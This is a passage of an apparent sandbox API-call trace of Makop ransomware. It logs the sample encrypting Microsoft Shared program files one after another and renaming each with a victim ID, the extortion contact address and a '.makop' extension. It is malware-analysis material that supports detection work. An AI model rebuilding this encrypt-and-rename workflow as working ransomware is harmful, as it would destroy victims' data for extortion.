lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0094.377] GetProcessHeap () returned 0x48a0000 [0094.377] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.378] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 138 [0094.378] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.379] CloseHandle (hObject=0xf0) returned 1 [0094.379] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0094.379] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0094.380] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0094.380] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF") returned 52 [0094.380] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*") returned 56 [0094.380] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0094.387] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.387] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0094.388] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0094.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0094.388] GetProcessHeap () returned 0x48a0000 [0094.388] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.388] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.389] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0094.389] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.389] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.389] GetProcessHeap () returned 0x48a0000 [0094.389] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0094.389] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0094.389] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.389] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0094.394] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0094.394] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0094.394] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0094.394] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0094.394] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0094.394] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.394] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.394] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.395] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x90540, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x90540, lpOverlapped=0x0) returned 1 [0094.411] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x90540, dwBufLen=0x90540 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x90540) returned 1 [0094.417] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.418] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x90540, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x90540, lpOverlapped=0x0) returned 1 [0094.422] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.422] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x90604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.422] SetEndOfFile (hFile=0xf0) returned 1 [0094.430] GetProcessHeap () returned 0x48a0000 [0094.430] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0094.430] GetProcessHeap () returned 0x48a0000 [0094.430] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.431] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0094.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.432] CloseHandle (hObject=0xf0) returned 1 [0094.432] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0094.432] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0094.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0094.434] GetProcessHeap () returned 0x48a0000 [0094.434] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.434] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.435] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0094.435] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0094.439] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.439] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.439] GetProcessHeap () returned 0x48a0000 [0094.439] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0094.439] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0094.439] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.440] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0094.440] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0094.440] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0094.441] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0094.441] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0094.441] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0094.441] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.441] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.441] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.441] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6c67b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6c67b, lpOverlapped=0x0) returned 1 [0094.452] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6c680, dwBufLen=0x6c680 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6c680) returned 1 [0094.456] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.457] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6c680, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6c680, lpOverlapped=0x0) returned 1 [0094.460] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.460] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6c754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.461] SetEndOfFile (hFile=0xf0) returned 1 [0094.470] GetProcessHeap () returned 0x48a0000 [0094.470] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0094.470] GetProcessHeap () returned 0x48a0000 [0094.470] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.470] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 112 [0094.470] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.488] CloseHandle (hObject=0xf0) returned 1 [0094.488] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0094.489] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0094.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0094.491] GetProcessHeap () returned 0x48a0000 [0094.491] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.491] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.491] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0094.492] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0094.496] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.496] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.496] GetProcessHeap () returned 0x48a0000 [0094.497] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0094.497] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0094.497] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.497] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0094.497] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0094.497] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0094.497] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0094.497] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0094.498] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0094.498] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.498] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.498] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.498] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x60983, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x60983, lpOverlapped=0x0) returned 1 [0094.511] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x60990, dwBufLen=0x60990 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x60990) returned 1 [0094.515] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.515] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x60990, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x60990, lpOverlapped=0x0) returned 1 [0094.519] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x60a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.519] SetEndOfFile (hFile=0xf0) returned 1 [0094.528] GetProcessHeap () returned 0x48a0000 [0094.528] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0094.528] GetProcessHeap () returned 0x48a0000 [0094.528] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.529] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 112 [0094.529] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.530] CloseHandle (hObject=0xf0) returned 1 [0094.530] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0094.530] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0094.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0094.538] GetProcessHeap () returned 0x48a0000 [0094.538] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.538] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.538] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0094.538] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0094.542] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.542] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.542] GetProcessHeap () returned 0x48a0000 [0094.542] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0094.542] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0094.542] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.543] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, 